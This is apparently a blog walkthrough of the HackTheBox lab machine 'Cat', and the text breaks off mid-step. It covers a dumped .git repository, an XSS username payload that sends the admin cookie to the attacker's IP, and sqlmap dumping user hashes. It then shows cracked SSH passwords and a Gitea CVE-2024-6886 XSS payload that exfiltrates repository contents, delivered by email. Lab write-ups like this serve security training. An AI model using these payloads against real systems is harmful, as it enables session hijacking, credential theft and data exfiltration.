Cat – HackTheBox Link to heading
- OS: Linux
- Difficulty : Medium
- Platform: HackTheBox
Summary Link to heading
“Cat” is a Medium difficulty machine from HackTheBox
platform. The victim machine is running a web server that leaks files running it in a hidden repository. This tell us the path to solve the machine: create an account whose name is a Cross-Site Scripting
(XSS
) payload, that is reviewed by an admin and allow us to steal its cookie. Once we get an admin cookie we can access to a panel that is vulnerable to SQL Injection
, allowing us to extract a password and gain access through SSH
to the system. Once inside, we can see the victim machine is running an internal Gitea
service. This version is vulnerable to another XSS
labeled as CVE-2024-6886. This allow us to create a malicious repository. The system was running a task that was visiting the repositories automatically, which allow us to leverage this task using XSS
vulnerability and get the source code of a script running in the victim machine. This script contains the credentials for root
user, allowing us to take total control of the system.
User Link to heading
Starting with a quick Nmap
scan over the target machine shows only 2 ports open: 22
SSH
and 80
HTTP
.
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:52 -03
Nmap scan report for 10.10.11.53
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds
Applying some recognition scans with -sVC
flag over these ports we get:
❯ sudo nmap -sVC -p22,80 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 00:55 -03
Nmap scan report for 10.10.11.53
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.38 seconds
From the output we can see a domain: cat.htb
. We add these domain along with the target IP address to our /etc/hosts
file running in a terminal:
❯ echo '10.10.11.53 cat.htb' | sudo tee -a /etc/hosts
We can check the site technologies using WhatWeb
:
❯ whatweb -a 3 http://cat.htb
http://cat.htb [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.53], Title[Best Cat Competition]
We can see it is running Apache
.
We visit http://cat.htb
in a web browser. We can see a page about cats contest:
The page shows some pages using PHP
. Among them, if we click on Join
we can create a user at /join.php
site:
We create an account, click on Already have an account?
and pass the credentials. We can now visit Contest
tab which redirects to /contest.php
page:
We can upload info about cats. But nothing besides that.
We can then search for directories through a Brute Force Directory Listing
with Gobuster
using raft-small-words.txt dictionary from SecLists
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://cat.htb -x php -t 40 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 272]
/admin.php (Status: 302) [Size: 1] [--> /join.php]
<SNIP>
/winners.php (Status: 200) [Size: 5082]
/winners (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/.htpasswd.php (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.git (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.html. (Status: 403) [Size: 272]
<SNIP>
Progress: 86014 / 86016 (100.00%)
===============================================================
Finished
===============================================================
Among all the files we can see a .git
directory which seems to be a Git
repository.
We can then use the tool git-dumper
(that can be installed running pip3 install git-dumper
) to extract its content and save all the files in a directory called git_content
in the current directory:
❯ git-dumper http://cat.htb/.git/ ./git_content
Once we have dumped the Git
files, we check the extracted content:
❯ ls -la git_content
total 84
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb 7 01:21 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Feb 7 01:23 ..
-rwxrwxr-x 1 gunzf0x gunzf0x 893 Feb 7 01:21 accept_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 4496 Feb 7 01:21 admin.php
-rwxrwxr-x 1 gunzf0x gunzf0x 277 Feb 7 01:21 config.php
-rwxrwxr-x 1 gunzf0x gunzf0x 6676 Feb 7 01:21 contest.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 css
-rwxrwxr-x 1 gunzf0x gunzf0x 1136 Feb 7 01:21 delete_cat.php
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Feb 7 01:21 .git
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 img
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 img_winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3509 Feb 7 01:21 index.php
-rwxrwxr-x 1 gunzf0x gunzf0x 5891 Feb 7 01:21 join.php
-rwxrwxr-x 1 gunzf0x gunzf0x 79 Feb 7 01:21 logout.php
-rwxrwxr-x 1 gunzf0x gunzf0x 2725 Feb 7 01:21 view_cat.php
-rwxrwxr-x 1 gunzf0x gunzf0x 1676 Feb 7 01:21 vote.php
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Feb 7 01:21 winners
-rwxrwxr-x 1 gunzf0x gunzf0x 3374 Feb 7 01:21 winners.php
They seems to be the files running in the main webpage.
Previously, when we bruteforced the directories with Gobuster
, we did not have access to config.php
and admin.php
. These files seems interesting. Checking config.php
shows:
<?php
// Database configuration
$db_file = '/databases/cat.db';
// Connect to the database
try {
$pdo = new PDO("sqlite:$db_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
?>
It is loading a SQLite
database file located at /database/cat.db
. But this database file is not present in the dumped directory. So this info could be useful later.
Checking admin.php
shows an interesting portion of code:
<?php
session_start();
include 'config.php';
// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}
// Fetch cat data from the database
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<SNIP>
The first snippet of code basically check if the user is not logged or if the user is not axel
it redirects to /join.php
page.
Finally, if we check contest.php
(another site that when we visited it, it redirected to /join.php
) shows:
<?php
session_start();
include 'config.php';
// Message variables
$success_message = "";
$error_message = "";
// Check if the user is logged in
if (!isset($_SESSION['username'])) {
header("Location: /join.php");
exit();
}
// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
return preg_match($pattern, $input);
}
// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Capture form data
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
} else {
// Generate unique identifier for the image
$imageIdentifier = uniqid() . "_";
// Upload cat photo
$target_dir = "uploads/";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// Check if the file is an actual image or a fake file
$check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
if($check !== false) {
$uploadOk = 1;
} else {
$error_message = "Error: The file is not an image.";
$uploadOk = 0;
}
// Check if the file already exists
if (file_exists($target_file)) {
$error_message = "Error: The file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["cat_photo"]["size"] > 500000) {
$error_message = "Error: The file is too large.";
$uploadOk = 0;
}
// Allow only certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
$error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
} else {
if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
$success_message = "Cat has been successfully sent for inspection.";
} else {
$error_message = "Error: There was a problem registering the cat.";
}
} else {
$error_message = "Error: There was a problem uploading the file.";
}
}
}
}
?>
<SNIP>
If the user is logged in the site, it is able to data (I assume related to a cat description) passing different parameters to it. The script also checks for potential characters that be used for SQL Injection
. If it is not detected then it uploads the data to the server. Then, the script also checks if it is a valid image, checks its size and uploads the data to the database.
One of the files is accept_cat.php
. Checking its content shows:
<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>
where a potential dangerous line/query is:
INSERT INTO accepted_cats (name) VALUES ('$cat_name')
However, if we attempt to upload a SQL Injection
(SQLi
) as a user through /contest.php
it will not work due to filters at contest.php
file.
We also have the file accept_cat.php
being executed, which we can we find is being invoked at admin.php
file:
<SNIP>
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
function rejectCat(catId) {
if (confirm("Are you sure you want to reject this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "delete_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catId=" + catId);
}
}
<SNIP>
Someone is checking the cat data uploaded and checking it to accept it or reject it. The only problem is that we have a function filtering potential characters for SQL Injection|SQLi
. A parameter that is not being checked is the user as we can see at join.php
file:
<?php
session_start();
include 'config.php';
$success_message = "";
$error_message = "";
// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);
$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
if ($existing_user) {
$error_message = "Error: Username or email already exists.";
} else {
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
if ($stmt_insert) {
$success_message = "Registration successful!";
} else {
$error_message = "Error: Unable to register user.";
}
}
}
<SNIP>
The plan then is the following:
- Log in with an account whose name is a
Cross Site Scripting
(XSS
) payload. - Go to
/contest.php
page and upload data. - This data should be reviewed by admin user, triggering the
XSS
. - Use this session cookie to access
/admin.php
.
When we create an account, where we set as username the XSS
payload:
<script>document.location='http://10.10.16.3/?c='+document.cookie;</script>
where 10.10.16.3
is our attacker IP address.
Since we will attempt some XSS
payloads, we can start a temporal Python
HTTP
server on port 80
running in a terminal:
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once we create the account, we click on Already have an account?
button at the bottom of the page. Clicking on it we can put our credentials there. We can now access /contest.php
.
We fill this form with any data and a random image. Some seconds after sending the data with the malicious account, we get a request in our Python
HTTP
temporal server:
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [07/Feb/2025 02:55:46] "GET /?c=PHPSESSID=8ur7ibfluajaj1prlj3idigvnk HTTP/1.1" 200 -
10.10.11.53 - - [07/Feb/2025 02:55:47] code 404, message File not found
10.10.11.53 - - [07/Feb/2025 02:55:47] "GET /favicon.ico HTTP/1.1" 404 -
Go to our web browser (in my case Firefox
), replace the cookie for the obtained one and refresh the page. We can see now:
We have an Admin
tab that redirects to /admin.php
.
However, this page is empty:
I assume this is the site where cats are accepted/rejected. But we are not able to see it in this page since we don’t have current requests for the cat’s contest.
We can now remember that this page had a cat_name
that was potentially vulnerable to SQLi
as we inspected before. We can then use SQLMap
attempting to get something. We can specify the database that we already know is SQLite
and this should save us a lot of time. We then run:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch
<SNIP>
[03:11:17] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[03:11:17] [INFO] testing 'Generic inline queries'
[03:11:17] [INFO] testing 'SQLite inline queries'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[03:11:18] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[03:11:18] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[03:11:28] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
<SNIP>
---
[03:11:55] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
Then, search for tables using --tables
flag:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch --tables --threads 10
<SNIP>
[03:14:04] [INFO] retrieved: 5
[03:14:14] [INFO] retrieved: users
<current>
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
users
table seems interesting.
We can extract its content using finally -T users --dump
flags:
❯ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=test" --cookie="PHPSESSID=a6hlvkq2jjt76gm3a6k0u376ob" -p catName --level=5 --risk=3 --dbms=SQLite --batch -T users --dump --threads 10
<SNIP>
[03:16:13] [INFO] retrieved: axel2017@gmail.com
[03:16:13] [INFO] retrieving the length of query output
[03:16:13] [INFO] retrieved: 32
[03:16:36] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f
[03:16:36] [INFO] retrieving the length of query output
[03:16:36] [INFO] retrieved: 1
[03:16:39] [INFO] retrieved: 1
[03:16:45] [INFO] retrieving the length of query output
[03:16:45] [INFO] retrieved: 4
[03:16:54] [INFO] retrieved: axel
[03:16:54] [INFO] retrieving the length of query output
[03:16:54] [INFO] retrieved: 24
[03:17:13] [INFO] retrieved: rosamendoza485@gmail.com
[03:17:13] [INFO] retrieving the length of query output
[03:17:13] [INFO] retrieved: 32
[03:17:35] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c
[03:17:35] [INFO] retrieving the length of query output
[03:17:35] [INFO] retrieved: 1
[03:17:38] [INFO] retrieved: 2
[03:17:44] [INFO] retrieving the length of query output
[03:17:44] [INFO] retrieved: 4
[03:17:53] [INFO] retrieved: rosa
[03:17:53] [INFO] retrieving the length of query output
[03:17:53] [INFO] retrieved: 29
[03:18:12] [INFO] retrieved: robertcervantes2000@gmail.com
[03:18:12] [INFO] retrieving the length of query output
[03:18:12] [INFO] retrieved: 32
[03:18:35] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad
<SNIP>
Table: users
[11 entries]
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| user_id | email | password | username |
+---------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+----------+
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
<SNIP>
We have some hashes and 3 users: axel
, rosa
, fabian
and robert
.
All these hashes have a length of 32
characters. Therefore, they are potentially MD5
hashes.
❯ echo -n '42846631708f69c00ec0c0a8aa4a92ad' | wc -c
32
We can then attempt to crack through a Brute Force Password Cracking
using JohnTheRipper
(john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:02 DONE (2025-02-07 03:26) 0.4672g/s 6702Kp/s 6702Kc/s 15089KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
and check if the found password correspond to any of these users using NetExec
through SSH
:
❯ nxc ssh 10.10.11.53 -u axel rosa robert fabian -p 'soyunaprincesarosa'
SSH 10.10.11.53 22 10.10.11.53 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.53 22 10.10.11.53 [-] axel:soyunaprincesarosa
SSH 10.10.11.53 22 10.10.11.53 [+] rosa:soyunaprincesarosa Linux - Shell access!
We get credentials for SSH
: rosa:soyunaprincesarosa
.
Log into the victim machine with this user:
❯ sshpass -p 'soyunaprincesarosa' ssh -o stricthostkeychecking=no rosa@10.10.11.53
<SNIP>
rosa@cat:~$
Checking rosa
groups, we note it is a member of adm
group:
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
This mean this user can read logs at /var/log
directory.
From scan with WhatWeb
we could see that this server was running Apache
, we can then check logs for Apache
at /var/logs/apache2
. We search for the string pass
(for password
) in this directory with grep
and we get:
rosa@cat:~$ grep -ir 'pass' /var/log/apache2 2>/dev/null
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:07 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
/var/log/apache2/access.log:127.0.0.1 - - [07/Feb/2025:00:00:18 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
<SNIP>
We get a potential password: aNdZwgC4tI9gnVXv_e3Q
.
We check again if this credentials are valid with NetExec
through SSH
for axel
user:
❯ nxc ssh 10.10.11.53 -u axel -p 'aNdZwgC4tI9gnVXv_e3Q'
SSH 10.10.11.53 22 10.10.11.53 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.53 22 10.10.11.53 [+] axel:aNdZwgC4tI9gnVXv_e3Q Linux - Shell access!
They are, we have valid credentials axel:aNdZwgC4tI9gnVXv_e3Q
.
Log in as this new user through SSH
:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no axel@10.10.11.53
<SNIP>
You have mail.
Last login: Thu Feb 6 22:01:05 2025 from 10.10.14.19
axel@cat:~$
We can grab the user flag.
Root Link to heading
When we logged in as axel
we got a message: You have email
. We can then check /var/mail/axel
directory:
axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
The mail talks about a Gitea
site at localhost:3000
(the default prot for Gitea
).
We can check internal ports of the machine open:
axel@cat:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 1 127.0.0.1:39855 0.0.0.0:*
LISTEN 0 37 127.0.0.1:54547 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 128 127.0.0.1:55967 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Port 3000
is open.
We can additionally check if this is a Gitea
site:
axel@cat:~$ curl -s http://127.0.0.1:3000 | grep -i gitea
<html lang="en-US" data-theme="gitea-auto">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
<meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.0">
<a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
<a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>
Therefore, we can create a tunnel through a Local Port Forwarding
to access to this internal site. Logout from the current SSH
session and convert port 3000
of the victim machine in our port 3000
running:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 axel@10.10.11.53
Once the tunnel has been established, in a web browser we can visit http://127.0.0.1:3000
and we can now see the Gitea
site:
We can log in this site using axel
credentials (axel:aNdZwgC4tI9gnVXv_e3Q
). However, we are not able to see any available repositories:
Going to Explore
and then on Users
shows, as the email said, Administrator
:
But we cannot see much more.
At the bottom left side we have a Gitea
version: 1.22.0
. Searching for vulnerabilities for this version leads to a vulnerability labeled as CVE-2024-6886 with an exploit at exploit-db
. This is another XSS
vulnerability, but this time for Gitea
. The steps there are straightforward:
1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:
<a href=javascript:alert()>XSS test</a>
4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
So we can create a repository and modify its description. We create a random repository and modify its description:
Where we inject the XSS
payload:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.16.3:8000/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">App test</a>
What this payload does is that the user visits http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php
and its content is sent to http://10.10.16.3:8000
(our attacker IP).
We also need to create an empty file in the repository, so the description is displayed. For that just create an empty file clicking on New File
:
Create a random file with random content and at the bottom just add a simple commit (like commit name test
and description for commit test
).
cronjob
deleting the repository. So we might need to reproduce these steps again.Now, we need a way to deploy the payload. When we checked internal ports open we saw that port 25
was open. This port is used for SMTP
(mailing) service on Linux
.
axel@cat:~$ ss -nltp | grep 25
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
We could send an e-mail transforming port 25
of our attacker machine into victim’s machine port 25
. We can use, again, a Local Port Forwarding
for it. Exit from the current session and now establish a double tunnel (convert port 3000
into our port 3000
and port 25
into our port 25
) running:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 25:127.0.0.1:25 -L 3000:127.0.0.1:3000 axel@10.10.11.53
Remember to start a Python
HTTP
server that will receive the XSS
payload:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
In another terminal, in our attacker machine, we can send an email with swaks
tool, attaching the malicious repository with the XSS
payload. We send this mail to jrobert
(the person that sent us the mail):
❯ swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: New Test App. Check it" --body "http://localhost:3000/axel/testApp" --server localhost --port 25 --timeout 30s
=== Trying localhost:25...
=== Connected to localhost.
<- 220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Fri, 7 Feb 2025 07:37:29 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
-> EHLO kali.gunzf0x
<- 250-cat.htb Hello localhost [127.0.0.1], pleased to meet you
<SNIP>
-> .
<- 250 2.0.0 5177bT4X059595 Message accepted for delivery
-> QUIT
<- 221 2.0.0 cat.htb closing connection
=== Connection closed with remote host.
After some time, we get something in our terminal:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
